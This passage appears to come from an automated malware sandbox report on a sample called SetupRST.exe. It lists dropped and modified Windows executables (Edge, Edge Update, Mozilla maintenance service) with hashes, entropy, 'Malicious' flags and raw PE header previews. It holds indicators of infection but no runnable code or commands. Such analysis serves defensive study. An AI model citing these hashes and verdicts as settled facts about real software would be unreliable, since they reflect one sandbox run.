Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..i.v.:.v.:.v.:...;9v.:...;.v.:...;.v.:.v.:.v.:...;$v.:...;4v.:...:.v.:...;.v.:Rich.v.:........................PE..L......m.................0...\|...............@....@..........................0$.....uV........... ......................................................................T...................`[..........@............p...............................text...l/.......0.................. ..`.data...@'...@.......4..............@....idata..@....p.......L..............@..@.c2r.................\...................rsrc................^..............@..@.reloc...............d..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52712960
Entropy (8bit):	7.9617878637750845
Encrypted:	false
SSDEEP:	1572864:sLjL44lyBc+UN0qRsMjDAY9d5o/paLXzHLe:oicZmsR3Lo/cnLe
MD5:	C899F2939F0AEEAE222C7BAC7120891F
SHA1:	75E9FB757E442F423B207D7CFEA839D8AFA11A07
SHA-256:	08E82AF7833105788F02879546556106058B8E7F337A0A9E024267BB8CBE09C1
SHA-512:	576FB9141F2135EDF9E4C9E5F2BC0E1DCCD40166FB102F9BF6075F7768339742E492AC4FA6FAE02B8C38DA7ADCF76F126D1662AB4028323C3D9D58AA875E8C41
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......LN.../nB./nB./nB.]mC./nB.]kC./nB.TjC./nB.TmC./nB.TkC}/nB.FjC./nB.FkC3/nB.]hC./nB.]jC./nB.]oC?/nB./oBq-nB.TgC./nB.TkC./nB.TnC./nB.T.B./nB.TlC./nBRich./nB........................PE..L...1~............"....!.j(.........p]........(...@...........................$.......$..............................l3..t....3.0.....6.X............................./.p...................../.....h./.@.............(......j3.`....................text...jh(......j(................. ..`.rdata........(......n(.............@..@.data...t.... 4.......4.............@....didat..$.....5.......5.............@....rsrc...X.....6.......5.............@..@.reloc... ...........F..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1812992
Entropy (8bit):	5.2529350017006555
Encrypted:	false
SSDEEP:	24576:3s8DMeflpnIOvYU3/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3VDD9pnIO1LNiXicJFFRGNzj3
MD5:	15DCD2B2C61F0CE0F249514FBD53A6C8
SHA1:	F4F07B21C44A71756D54B089E4CBA6635D6BDBD2
SHA-256:	CC001BF07C58EE5E5EAE809B3D3154FD1BE852B0166F67916C1CD8414720CE0F
SHA-512:	10E6F222588F35ED40FD4CB7B0DA48B22B7ABD43949E7BC55FF9F29419B2BC36AFC4751C49F8375C26550272E7BAF5D2DABACA1ED2F3E5218B1D5C18AFB31916
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........J......@!.........@..............................'......o.... .............................................................X........F......................T.......................(...P...@...........@...`............................text............................... ..`.rdata..8...........................@..@.data...XL....... ...d..............@....pdata...F.......H..................@..@.00cfg..8.... ......................@..@.gxfg....*...0...,..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc...`..........................@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4364800
Entropy (8bit):	6.746526425651593
Encrypted:	false
SSDEEP:	49152:4B1sstqMHiq8kBfK9a+cOVE/TqEpEepIkRqqUu9wg6KFYso8l8E6LNiXicJFFRGN:iHzorVmr2ZkRpdJYol07wRGpj3
MD5:	76FBDD48E459F37E52F50A965C40C7FA
SHA1:	9D61694114C564D741CAAE0A2BD548184C9CD0F3
SHA-256:	9F03B4D60D80D12975ACE3B48CC15521EFC09C703E1883594824C4BD89C2FA6C
SHA-512:	555EF88D1F5811EACEDE58DDBBDDBBF87E610F7A9241728C3CE354B55FD619113D1554046C671236B427DC75D0B4E3E215A8395C08482B12791405700E5E8DB6
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......'..".......K.........@.............................PD.......B... .....................................................P.... 4.......2..Q..................to..8...................`j..(.....'.@...........0.......`........................text...'.'.......'................. ..`.rdata...A....'..B....'.............@..@.data........./......./.............@....pdata...Q....2..R....0.............@..@.00cfg..0....p3......42.............@..@.gxfg....2....3..4...62.............@..@.retplne......3......j2..................tls..........3......l2.............@...LZMADEC.......3......p2............. ..`_RDATA..\.....4.......2.............@..@malloc_h......4.......2............. ..`.rsrc........ 4.......2.............@..@.reloc... ...0;.......9.............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1394176
Entropy (8bit):	4.675494426888451
Encrypted:	false
SSDEEP:	24576:tEyTl/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ayRLNiXicJFFRGNzj3
MD5:	DCAE0DB91BAB44F38EB74F8092F18B0E
SHA1:	A4FCA7DEBD740B07B7880E2EBBA775CA0D090139
SHA-256:	A7C94FCE73B602F5C8A04770E4DAFC258B531F0C56529643D1485EB23299D00C
SHA-512:	ADF77499409E3DC3936A90363217FDC92C8EDFEDBEA20737D3C578DC6ABF194CE7C1617CC051EF4CD3AFEBEEA687F4FB63A6D9627CB3163A0E7428B9C9D626A7
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."............................@.............................` ......s.... ..................................................]..(....................................W..T...............................@............`..X............................text............................... ..`.rdata..,...........................@..@.data...0............j..............@....pdata...............v..............@..@.00cfg..8...........................@..@.gxfg...P...........................@..@.retplne................................_RDATA..\...........................@..@.rsrc...............................@..@.reloc...`..........................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2354176
Entropy (8bit):	7.046437241800083
Encrypted:	false
SSDEEP:	49152:7hDdVrQ95RW0YEHyWQXE/09Val0GqLNiXicJFFRGNzj3:7hHYW+HyWKN7wRGpj3
MD5:	936C8DD770E4909A42D458E3E5CD3237
SHA1:	C0C70A79EF1B73D8272250F365546C45DABEDE4D
SHA-256:	1731FDADE30A4B06D3EB5FD345303A54963B6FBFC57CD2A5ECE6190D94E8AB10
SHA-512:	D7BD017AB38D8110D8A95001A0BF709C0E758A38884457A1AFB075DCD031548E685AB4DF644E20CB003F653444677FE854C3064A36273BADD484F9C461A47A5F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......2...........b.........@.............................`%.....{.$... .........................................p%......>).......@..................................8.......................(....c..@........... 0..P............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...4...........................@....pdata..............................@..@.00cfg..0...........................@..@.gxfg............0..................@..@.retplne.................................tls....!...........................@..._RDATA..\.... ......................@..@malloc_h.....0...................... ..`.rsrc........@......................@..@.reloc.......`......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.153826596579269
Encrypted:	false
SSDEEP:	24576:770E0ZCQZMiU6Rrt9RoctGfmddK/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:n0EzQSyRPRoc1uLNiXicJFFRGNzj3
MD5:	A46AAB9E819689D3FA0DE9B1CF87939C
SHA1:	802D138B079D5D5B3F1A696170EEA78F59552BF0
SHA-256:	75E2BAE1CC4BAEB2B731388F264E59FEC5B1491F259DE29BCF47EB8A29D56448
SHA-512:	9255CEC4D5968B04CFF24689F37A2166DE472C167EFD2A31B94A99EFF52ACE1D79437D156F0A0545541CE340BA9583DBB7A7CC8DE9F5BB9F5CCA7F5D3CB437EB
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........v.......k.........@.............................0......f6.... ..........................................u......ly....... ..........,....................d..T...................hc..(.......@...........@... ............................text............................... ..`.rdata.............................@..@.data........@......."..............@....pdata..,...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc........ ......................@..@.reloc.......0......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.14090606693944
Encrypted:	false
SSDEEP:	24576:JiD2VmA1YXwHwlklb8boUuWPg2gx/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ID2VmAyiwIb8boQaLNiXicJFFRGNzj3
MD5:	D03A956E568E83D14CC0FA6D94B15E8C
SHA1:	B6320A7D1E4E9801B4622CBED768914B4EB900F1
SHA-256:	9D27F216F21572DE4240000079ECF75397C8D195C1FE083772AE1F5FA4F27A99
SHA-512:	54A2A9D38538637EAEFFEE4CFBF24F7639EE9CF18C8737F0CC1575863E79437EA9004382AF38F70D8A27F9EEDBB2C0C19AD19119E17BD37081BC06C1B8169F4B
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p......y..... .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2853376
Entropy (8bit):	6.9482100955759165
Encrypted:	false
SSDEEP:	49152:sfD3zO9ZhBGloizM3HRNr00SLNiXicJFFRGNzj3:WDaalxzM00S7wRGpj3
MD5:	582824D32E2B773A8FFEF0C253EF436B
SHA1:	CF6A4C1A4709A48297F548D4BE060020A17D2959
SHA-256:	704D679AF1D655025505F604183DE9E2A73BF9BD78C6255069E95E3AB7FECECF
SHA-512:	167B380E4FBBD5022F5E01800929C23CDC8581287879066B37D19837817CCB9F280C949F381A3FBCC32CD507292588159377A5E217CCDC0818FD226E7FDAB610
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......l...2......@..........@..............................-.....O?,... .................................................h.........!.. ...P ........................8......................(...P...@...............x............................text....k.......l.................. ..`.rdata...............p..............@..@.data...T....p.......^..............@....pdata.......P ......d..............@..@.00cfg..0.... !......* .............@..@.gxfg...P1...0!..2..., .............@..@.retplne.....p!......^ ..................tls..........!......` .............@...LZMADEC.......!......b ............. ..`_RDATA..\.....!......t .............@..@malloc_h......!......v ............. ..`.rsrc.... ....!.."...x .............@..@.reloc........$.......".............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4320256
Entropy (8bit):	6.8227215972212
Encrypted:	false
SSDEEP:	49152:cTaRe7mkn5KLvD5qGVC0080pb4tgLUgGEsLABD5wTQh07yrLMLl9YPh9LNiXicJy:fI72LvkrDpbxJRoIMK7wRGpj3
MD5:	29627CD998CA5D8FAD3C6906BA9BB710
SHA1:	391E3F9EB002A3B2619974888C904931FF9ABD40
SHA-256:	07C2E86246856E9CDD2764ED848B0B9B9BE5AAC33353F75C6B7BA125D4E99707
SHA-512:	6136142F1D20EEA2EA14C21E654AA614C97E9DEB5D03E839216A9F1B133D545BAEAD34CDA65AA7485C2C9B1FBA77685E4DC6395672DE962D956B0F2562C09C7A
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................C.......A... ..........................................'3......+3.P.....8.x....P6..e..................h.2.T.....................2.(...P"-.@............43.......3. ....................text...E.,.......,................. ..`.rdata..4#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc...x.....8.......6.............@..@.reloc... ...p:.......8.............@...........................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2062336
Entropy (8bit):	7.093103923836272
Encrypted:	false
SSDEEP:	24576:NW9Jml9mmijviMnF+ZxmQWcbLw8V6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:NWnm5iOMkjmQWkV6LNiXicJFFRGNzj3
MD5:	E060AD8E7764AF8BD7FF8EA41CCF184C
SHA1:	1CAD51F36F2181F22CFCF1754F22FD0CCFB01134
SHA-256:	9263D86548EB5AE120D417045037A2304551412B5EA0E246566EB52E5F60AC95
SHA-512:	8092A9EF79505415417A73F49C0870AB4E36BBFBA28ADF7F5B3B5413D7283EBD58223E63F24D638E80F6AC170314D1FD9908A3E6270F221E081B467D36C07152
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......h...4......P..........@.............................. .....i..... .................................................Z...................H......................8.......................(...`...@...........(...@............................text....g.......h.................. ..`.rdata...).......*...l..............@..@.data...............................@....pdata..H...........................@..@.00cfg..0....P.......H..............@..@.gxfg...p-...`.......J..............@..@.retplne.............x...................tls.................z..............@...CPADinfo8............\|..............@..._RDATA..\............~..............@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.161646375512702
Encrypted:	false
SSDEEP:	24576:CwNHwoYhua6MtjRO4qbBJTY6mY1uIgc/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:CwNPdQO7BJTfmEfLNiXicJFFRGNzj3
MD5:	2617B515CA0C4C52A905987FCA69324D
SHA1:	0F9CD3D93139CFA9ED386513424E4A94403B923B
SHA-256:	845B97AAB5DEB019E04F39E8FA4D87741613E16B66F7C4300F373C7F9D378AF9
SHA-512:	F04C60951308F4F2ED4374E944B1B4CA43C9022EA4D5EFA56C687E5FB89122214471A566394E75CBE0C81025E513018D9CFE7101C1429720E526561B0BA52AF5
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@......................................... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.1409142768299345
Encrypted:	false
SSDEEP:	24576:kiD2VmA1YXwHwlklb8boUuWPg2gx/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:nD2VmAyiwIb8boQaLNiXicJFFRGNzj3
MD5:	F3F59FE71E8C82D1C029EA2A8297AB7C
SHA1:	7C660A5E3B248E18DC22ED2B1290C474066AB7D6
SHA-256:	838D6DA92F41C5212C1B296E36D0521B4F3CEC2FD2A176B0F7023A1A3A532163
SHA-512:	D9F57C3A0F043CBFE706D7411FA3FF126923F82D443287CB18215ECC4B2644AEE8A4ACF605D6E3098D41334A4F136F3435911C53C82CD14F4635590C784307EC
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p......5..... .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.161646382874889
Encrypted:	false
SSDEEP:	24576:OwNHwoYhua6MtjRO4qbBJTY6mY1uIgc/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OwNPdQO7BJTfmEfLNiXicJFFRGNzj3
MD5:	6AD76AA84F3A3FF2CE92162EE7224686
SHA1:	AC4E0A09A525C24B49894D3F4F231F50B18E9DD7
SHA-256:	8FA867592D0C0588001507AEE3D4AB5250B3789A22CDCBCA9B531DF9B782DDDC
SHA-512:	70D913AD151BC3197550BC4CD1784EAC55C35AADB9DDDE7055B74DCDE25F6602E2F3EF4223E105CD3DDFDA87E6686EAF0E60498DF328C0A7253364580C53CE7F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@....................................f6.... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1481216
Entropy (8bit):	4.6991873787991025
Encrypted:	false
SSDEEP:	24576:7glbht6BHL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ElNtqHLLNiXicJFFRGNzj3
MD5:	B87A55920BE453711B4A5FC265B44CA7
SHA1:	6DDCAD4E47930E14AEC9AE918ADA8D4DDAC18D26
SHA-256:	9A508A7ACA697DF1C4D65ED42D59AD2F4C727AC18B88AD0CB2213CBCAA1E298D
SHA-512:	E30E4D22BD5F9E5E8413FEA1EAC0E128BF6D615DE5B8FE231FBC153A4F6527687FEDDBCE3325FBDDD6D9F81C748E1D41B85031248782635396A024B680144508
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.y.+c..+c..+c..?...!c..?....c..?...9c..I...:c..I...8c..I....c..?...c..?....c..+c..Xc......)c.....c..+c..\|c......*c..Rich+c..........................PE..L...B(.d.................^..........@........p....@...........................!.....1+......................................H...<........q..........................pu..p...........................X...@...............@....k..`....................text...`\.......^.................. ..`.data........p.......b..............@....idata...............l..............@..@.didat...............v..............@....rsrc....q.......r...x..............@..@.reloc...p...0......................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.662272649440265
Encrypted:	false
SSDEEP:	24576:LIxkTBVf/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:0xk1VfLNiXicJFFRGNzj3
MD5:	818EE0818C92C31937AB6A1B41B8D3BD
SHA1:	EA37F89F8CF342207DDAA26B6879FC708EBBEDC9
SHA-256:	BA85512797B4630E879FAF420CBC86475702DEDB18A8913F43EC987283681DF7
SHA-512:	AFAF13514AC633E683E0EFBFB2E171E556D237B6BD3CF9FF2AD7A3AFC34A9D089AE7ABD5E95B71DAB1946028F1F12AF30725E662E8CDF8D97E86A3822D978455
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...8(.d..........................................@........................... .............................................x...(....`..X3..............................p...............................@.......................@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1490944
Entropy (8bit):	4.7912199737551235
Encrypted:	false
SSDEEP:	24576:Fcssmr2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:CbZLNiXicJFFRGNzj3
MD5:	BD01AE22E91E8A3B8964502BB933EFE3
SHA1:	F2E790D3F35F2C4EC9D65BFF74A1503819AC1488
SHA-256:	3C6BEAB773AFFF42C2EC61B2B0EF82808244470F38192C659E95665BE3CD97ED
SHA-512:	C156F71824E99654A797300BE3543E566FE19A871598EFA8A90EA92E2C88C7BA8A57DC3DF09CF6E73AFCF425B1795B0ABAF0C61B31FBA75C62713664B765AC8A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............O.@.O.@.O.@.$.A.O.@.$.A\|O.@.7.A.O.@.7.A.O.@.7.A.O.@W6.A.O.@.$.A.O.@.$.A.O.@.$.A.O.@.O.@IN.@W6.A.O.@W6.@.O.@W6.A.O.@Rich.O.@........PE..d...@(.d.........."......n...........].........@..............................!......9.... .....................................................(............@..........................p.......................(...p,..@...............0............................text....l.......n.................. ..`.rdata..8z.......\|...r..............@..@.data...P3..........................@....pdata.......@......................@..@.didat.......`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc...`........... ..............@...........................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1539584
Entropy (8bit):	4.901288294792313
Encrypted:	false
SSDEEP:	24576:70/cT++foSBWU2Yxhkgd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:I/cK+foQWU2YnPdLNiXicJFFRGNzj3
MD5:	35B8507964CF55CF1D9C9343557E5C7F
SHA1:	B725098928F98E012C93E46E3531B32BC24C7003
SHA-256:	35DBD1D3D38B63F3F3D567A496404805AD11F1628850DE86409444F41B7B5A96
SHA-512:	B8E17D737CD29CDF9689E5A76B8703F34FEDDC2B9BB8F6A4F372C5B74A99B77B6A8D3A80F2D7D1032BE6C77E689D1F079A95750E3F72E23412EFFF0EC0939605
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............wU..wU..wU.tT..wU.rTg.wU..sT..wU..tT..wU..rT..wU.sT..wU.qT..wU.vT..wU..vUQ.wUK.~T..wUK..U..wUK.uT..wURich..wU........PE..L...B(.d............................p.............@...........................".....b........................................y..........H3...........................g..p....................g..........@....................x.......................text............................... ..`.rdata...z.......\|..................@..@.data....'...........z..............@....didat..$...........................@....rsrc...H3.......4..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.662325226814504
Encrypted:	false
SSDEEP:	24576:abBRzBg9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:8BRVg9LNiXicJFFRGNzj3
MD5:	4D515D60FFF16FC2622C3F47A24CC0A7
SHA1:	0F2EDF7505A762239373E2AADF33DFC0FB8FB953
SHA-256:	29072891F64319F4443E74169E7992008A691E4AC9BA3995FDC615246DB2E19D
SHA-512:	ECC499C4B1A833C3A6194215FF9CFAE0D156A6D6547A244E23BEBED649DE320F17BE7F9BB1A7A77F9BB0BB8F4A78751F7EF5121860141DDDAC030CAE55D37FA0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...7(.d..........................................@........................... ......V..........................................(....`..X3..............................p...............................@...................<...@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2168832
Entropy (8bit):	7.938831325981795
Encrypted:	false
SSDEEP:	49152:cy53w24gQu3TPZ2psFkiSqwozXLNiXicJFFRGNzj3:cyFQgZqsFki+ozX7wRGpj3
MD5:	0E9152C54F99C112C644F97ADC817B24
SHA1:	96FD9868D1A0186E077BE9E65BB0AADCB693D098
SHA-256:	0A1BAE6DFE5A95F7B075F85DB78E8E71497D658DD86F945740937BD8D576B106
SHA-512:	DFA45F04E29B54F67B0A4E266BC5713716724F1F84D06B129516B91814A5FC08AEA48E6FE40AB0F7A57E058D9EF2C7A3099B5B8B47B57E896ACC796435D3AC28
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d..[ e.. e.. e..4...+e..4....e..B...1e..B...4e......-e..B....e..4...3e..4...!e..4...-e.. e...e....@.!e.. e(.ve......!e..Rich e..................PE..L....(.d............................ }............@..........................p!.......!......................................?..x....................................1..p....................1..........@...............H...T>..`....................text...*........................... ..`.rdata..............................@..@.data...,....P.......8..............@....didat..,....p.......B..............@....rsrc................D..............@..@.reloc.......p.......(..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.8563293524450915
Encrypted:	false
SSDEEP:	24:mOALdxOAHYOArOAsOACJOAPOAkRQOTWtGOAwOTWmIGOAjWOAuOAJOA8DOAHOApOv:ge6Ro1mPqrJy41qk3tn6D
MD5:	31023063A96D3B65D05CD763464E72CA
SHA1:	1C33038D995B570274EA8718BF3E600A45D57F7B
SHA-256:	976F9DC4F65394685CC48021DA7819A1D6A8444B7512F1B8FB361BF993F041A2
SHA-512:	8B29146D8383BC1731A71B016991D42C35167E57D27D27E2711663F907D9B5AFF9597651634B9FA1FF8661ECF8DED81449E8DA81E2985AF906CEE8A5B3B66D36
Malicious:	false
Preview:	2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeAuditPrivilege...2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeBackupPrivilege...2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2024-10-28 11:38:41-0400: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeDebugPrivilege...2024-10-28 11:38:41-0400: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2024-10-28 11:38:41-0400: Disabled unneeded token privilege: SeImpersonatePrivilege...2024-10-28 11:38:4

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	1512448
Entropy (8bit):	4.90160151915966
Encrypted:	false
SSDEEP:	24576:4QVTZu0JU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3VTZudLNiXicJFFRGNzj3
